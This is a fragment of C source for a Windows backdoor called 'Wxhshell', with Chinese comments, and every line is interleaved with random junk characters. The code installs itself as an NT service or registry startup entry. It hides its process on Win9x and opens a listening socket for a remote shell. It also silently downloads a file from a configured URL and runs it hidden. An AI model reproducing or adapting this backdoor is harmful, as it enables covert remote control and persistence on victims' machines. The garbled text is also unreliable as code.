5"oy `~ {0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L*Q#!_K0P * 2s(TW CloseHandle(hProcess); 0vi\o`**Mj 1[H1l; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EPL"H:o5%< if(hProcess==NULL) return 0; (X}Q'm$n\h <[<]+r&* HMODULE hMod; \z)` pno char procName[255]; ~h6aTN unsigned long cbNeeded; $sBje*; TH#5j.uUs if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %<Kw !Zma\Ip CloseHandle(hProcess); TrmU _0=$ 2Y^ if(strstr(procName,"services")) return 1; // 以服务启动 L4H5#?' ,.PmH.zjmR return 0; // 注册表启动 ?ZlN$h^ } CAV
Q[r5y PvB-Cqc // 主模块 L(i0d[F int StartWxhshell(LPSTR lpCmdLine) JBvP {5 { Z*Jp?[## SOCKET wsl; +q@g BOOL val=TRUE; sH{4 .tw int port=0; 0@*EwI struct sockaddr_in door; ;c~%:| fN{JLp if(wscfg.ws_autoins) Install(); l/o
4bkV gCc::[}\Y port=atoi(lpCmdLine); ejI nJ O^yDb if(port<=0) port=wscfg.ws_port; }wR&0<HA lpHz*NZ0 WSADATA data; o" ./ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p:q?8+W-r 3tIno!| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @8xa"Dc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TBp$S=_** door.sin_family = AF_INET; ,zU7U L^I door.sin_addr.s_addr = inet_addr("127.0.0.1"); WnZn$N. door.sin_port = htons(port); :OvTZ ?\ ,I|Tj C5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YsXf+_._ closesocket(wsl); r>gU*bs( return 1; ]^
"BLbDZ@ } NY!"?Zko ,.T k"\@ if(listen(wsl,2) == INVALID_SOCKET) { [n{c, U
F closesocket(wsl); A *_ |/o return 1; )+xHv } lH8e?zJ Wxhshell(wsl); \" W_\&X WSACleanup(); u*i[A\Y N
J_#;t#j return 0; wSP'pM{#2 0?d}Oj } _
BUD~'Q5 qD/X% `>Q // 以NT服务方式启动 .B|a.-oA4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "T,^>xD { 4ZN&Yf` DWORD status = 0; js<}>wD7< DWORD specificError = 0xfffffff; ?g\SF}2 MY `V0 serviceStatus.dwServiceType = SERVICE_WIN32; JK@"
& serviceStatus.dwCurrentState = SERVICE_START_PENDING; <.qhW^>X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R"
'=^ serviceStatus.dwWin32ExitCode = 0; :k*3?*'K serviceStatus.dwServiceSpecificExitCode = 0; 7y2-8eL serviceStatus.dwCheckPoint = 0; (<:mCPk(~ serviceStatus.dwWaitHint = 0; k%S;N{Qh@ K4>nBvZ?v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >4N=P0= if (hServiceStatusHandle==0) return; o$FYCz n pJpTOq\h status = GetLastError(); yC<[LH if (status!=NO_ERROR) %SSBXWP { ubvXpK:. serviceStatus.dwCurrentState = SERVICE_STOPPED; C-6m[W8S serviceStatus.dwCheckPoint = 0; 4RXF.kJ3= serviceStatus.dwWaitHint = 0; 'E#;`}&Ah serviceStatus.dwWin32ExitCode = status; wX!>&Gc. serviceStatus.dwServiceSpecificExitCode = specificError; O=LiCSNEV SetServiceStatus(hServiceStatusHandle, &serviceStatus); >u)DuZXj return; o}4J|@Hi|4 } uk)6% =u^{Jvl[ serviceStatus.dwCurrentState = SERVICE_RUNNING; Sd0y=!Pj= serviceStatus.dwCheckPoint = 0; v%6mH6V serviceStatus.dwWaitHint = 0; ahJu+y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !W ,pjW%Y } |zaYIVE[ e//q`?ys // 处理NT服务事件,比如:启动、停止 E:C-k^/[Y VOID WINAPI NTServiceHandler(DWORD fdwControl) `aw5"ns^V { YPY'[j(p`n switch(fdwControl) b=-LQkcZhK { iB=v
>8l% case SERVICE_CONTROL_STOP: <h"*"q|9 serviceStatus.dwWin32ExitCode = 0; uNcE_< serviceStatus.dwCurrentState = SERVICE_STOPPED; lh?TEQ serviceStatus.dwCheckPoint = 0; r{~@hd'Aj serviceStatus.dwWaitHint = 0; N=X(G( {
7Odw{pc SetServiceStatus(hServiceStatusHandle, &serviceStatus); %ut7T!Jp } mI$3[ #+ return; zu8l2(N case SERVICE_CONTROL_PAUSE: OVE5:)$x serviceStatus.dwCurrentState = SERVICE_PAUSED; :O(<3"P/ break; s[HQq;S case SERVICE_CONTROL_CONTINUE: [8J/#!B
serviceStatus.dwCurrentState = SERVICE_RUNNING; )K+Tvx3(m break; (VxWa#P case SERVICE_CONTROL_INTERROGATE: |GQFNrNx break; *`HE$k! }; "7T9d) SetServiceStatus(hServiceStatusHandle, &serviceStatus); kroO~(\ } 1-=zSWmyK 1*>lYd8_ // 标准应用程序主函数 DE^ @b+6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0f<$S$~h { ee=d*) <&$:$_ah // 获取操作系统版本 mq(*4KFWJ2 OsIsNt=GetOsVer(); HYkZMVH{ GetModuleFileName(NULL,ExeFile,MAX_PATH); pzPm(M1^X l"-F<^
U // 从命令行安装 lVmm`q6n9 if(strpbrk(lpCmdLine,"iI")) Install(); ]_ON\v1 :$#";t| // 下载执行文件 zU7/P|Dw+ if(wscfg.ws_downexe) { b2Jgg&?G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z^q ~|7 WinExec(wscfg.ws_filenam,SW_HIDE); ]5=C3Y } l]GUQcN= ?z2k74&M^ if(!OsIsNt) { Rf~? u)h1 // 如果时win9x,隐藏进程并且设置为注册表启动 G2{.Ew HideProc(); X~Yj#@ StartWxhshell(lpCmdLine); pxs#OP } >,v,4,c else -X6[qLq if(StartFromService()) dt efDsK // 以服务方式启动 > $#v\8 StartServiceCtrlDispatcher(DispatchTable); _Zq2 <: else NzP5s&,C69 // 普通方式启动 9mT;>mE StartWxhshell(lpCmdLine); ?5> Ep:{+/ {'QA0K return 0; \2K_"5 }
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